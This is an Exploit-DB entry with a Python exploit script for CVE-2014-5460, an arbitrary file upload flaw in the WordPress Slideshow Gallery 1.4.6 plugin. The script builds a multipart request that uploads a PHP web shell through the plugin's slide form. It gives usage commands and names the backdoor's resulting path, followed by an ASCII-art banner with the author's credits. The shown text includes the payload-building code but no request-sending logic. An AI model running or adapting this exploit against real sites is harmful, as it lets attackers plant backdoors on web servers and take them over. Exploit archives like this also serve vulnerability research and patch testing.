Exploit-DB #34681
Description: WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-09-16
Author: Claudio Viviani

Exploit:
#!/usr/bin/env python
#
# WordPress Slideshow Gallery 1.4.6 Shell Upload Exploit
#
# WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability (CVE-2014-5460)
#
# Vulnerability discovered by: Jesus Ramirez Pichardo - http://whitexploit.blogspot.mx/
#
# Exploit written by: Claudio Viviani - info@homelab.it - http://www.homelab.it
#
#
# Disclaimer:
#
# This exploit is intended for educational purposes only and the author
# can not be held liable for any kind of damages done whatsoever to your machine,
# or damages caused by some other,creative application of this exploit.
# In any case you disagree with the above statement,stop here.
#
#
# Requirements:
#
# 1) Enabled user management slide
# 2) python's httplib2 lib
#    Installation: pip install httplib2
#
# Usage:
#
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost -u user -p pwd -f sh33l.php
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost/wordpress -u user -p pwd -f sh33l.php
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost:80|443 -u user -p pwd -f sh33l.php
#
# Backdoor Location:
#
# http://localhost/wp-content/uploads/slideshow-gallery/sh33l.php
#
# Tested on Wordpress 3.6, 3.7, 3.8, 3.9, 4.0
#

# http connection
import urllib, httplib2, sys, mimetypes
# Args management
import optparse
# Error management
import socket, httplib, sys
# file management
import os, os.path

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

# Check if file exists and has readable
def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
        print '[X] '+file+' file is missing or not readable'
        sys.exit(1)
    else:
        return file
# Get file's mimetype
def get_content_type(filename):
    return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

# Create multipart header
def create_body_sh3ll_upl04d(payloadname):

   getfields = dict()
   getfields['Slide[id]'] = ''
   getfields['Slide[order]'] = ''
   getfields['Slide[title]'] = 'h0m3l4b1t'
   getfields['Slide[description]'] = 'h0m3l4b1t'
   getfields['Slide[showinfo]'] = 'both'
   getfields['Slide[iopacity]'] = '70'
   getfields['Slide[type]'] = 'file'
   getfields['Slide[image_url]'] = ''
   getfields['Slide[uselink]'] = 'N'
   getfields['Slide[link]'] = ''
   getfields['Slide[linktarget]'] = 'self'
   getfields['Slide[title]'] = 'h0m3l4b1t'

   payloadcontent = open(payloadname).read()

   LIMIT = '----------lImIt_of_THE_fIle_eW_$'
   CRLF = '\r\n'

   L = []
   for (key, value) in getfields.items():
      L.append('--' + LIMIT)
      L.append('Content-Disposition: form-data; name="%s"' % key)
      L.append('')
      L.append(value)

   L.append('--' + LIMIT)
   L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('image_file', payloadname))
   L.append('Content-Type: %s' % get_content_type(payloadname))
   L.append('')
   L.append(payloadcontent)
   L.append('--' + LIMIT + '--')
   L.append('')
   body = CRLF.join(L)
   return body

banner = """

 $$$$$$\  $$\ $$\       $$\                     $$\
$$  __$$\ $$ |\__|      $$ |                    $$ |
$$ /  \__|$$ |$$\  $$$$$$$ | $$$$$$\   $$$$$$$\ $$$$$$$\   $$$$$$\  $$\  $$\  $$\
\$$$$$$\  $$ |$$ |$$  __$$ |$$  __$$\ $$  _____|$$  __$$\ $$  __$$\ $$ | $$ | $$ |
 \____$$\ $$ |$$ |$$ /  $$ |$$$$$$$$ |\$$$$$$\  $$ |  $$ |$$ /  $$ |$$ | $$ | $$ |
$$\   $$ |$$ |$$ |$$ |  $$ |$$   ____| \____$$\ $$ |  $$ |$$ |  $$ |$$ | $$ | $$ |
\$$$$$$  |$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$$$$$$  |$$ |  $$ |\$$$$$$  |\$$$$$\$$$$  |
 \______/ \__|\__| \_______| \_______|\_______/ \__|  \__| \______/  \_____\____/



             $$$$$$\            $$\ $$\                                       $$\ $$\   $$\     $$$$$$\
            $$  __$$\           $$ |$$ |                                    $$$$ |$$ |  $$ |   $$  __$$\
            $$ /  \__| $$$$$$\  $$ |$$ | $$$$$$\   $$$$$$\  $$\   $$\       \_$$ |$$ |  $$ |   $$ /  \__|
            $$ |$$$$\  \____$$\ $$ |$$ |$$  __$$\ $$  __$$\ $$ |  $$ |        $$ |$$$$$$$$ |   $$$$$$$\
            $$ |\_$$ | $$$$$$$ |$$ |$$ |$$$$$$$$ |$$ |  \__|$$ |  $$ |        $$ |\_____$$ |   $$  __$$\
            $$ |  $$ |$$  __$$ |$$ |$$ |$$   ____|$$ |      $$ |  $$ |        $$ |      $$ |   $$ /  $$ |
            \$$$$$$  |\$$$$$$$ |$$ |$$ |\$$$$$$$\ $$ |      \$$$$$$$ |      $$$$$$\ $$\ $$ |$$\ $$$$$$  |
             \______/  \_______|\__|\__| \_______|\__|       \____$$ |      \______|\__|\__|\__|\______/
                                                            $$\   $$ |
                                                            \$$$$$$  |
                                                             \______/

                                                                   W0rdpr3ss Sl1d3sh04w G4ll3ry 1.4.6 Sh3ll Upl04d Vuln.

                          =============================================
                          - Release date: 2014-08-28
                          - Discovered by: Jesus Ramirez Pichardo
                          - CVE: 2014-5460
                          =============================================

                                          Written by:

                                        Claudio Viviani

                                     http://www.homelab.it

                                        info@homelab.it
                                     homelabit@protonmail.ch

                                https://www.facebook.com/homelabit
                                https://twitter.com/homelabit
                                https://plus.google.com/+HomelabIt1/
                      https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww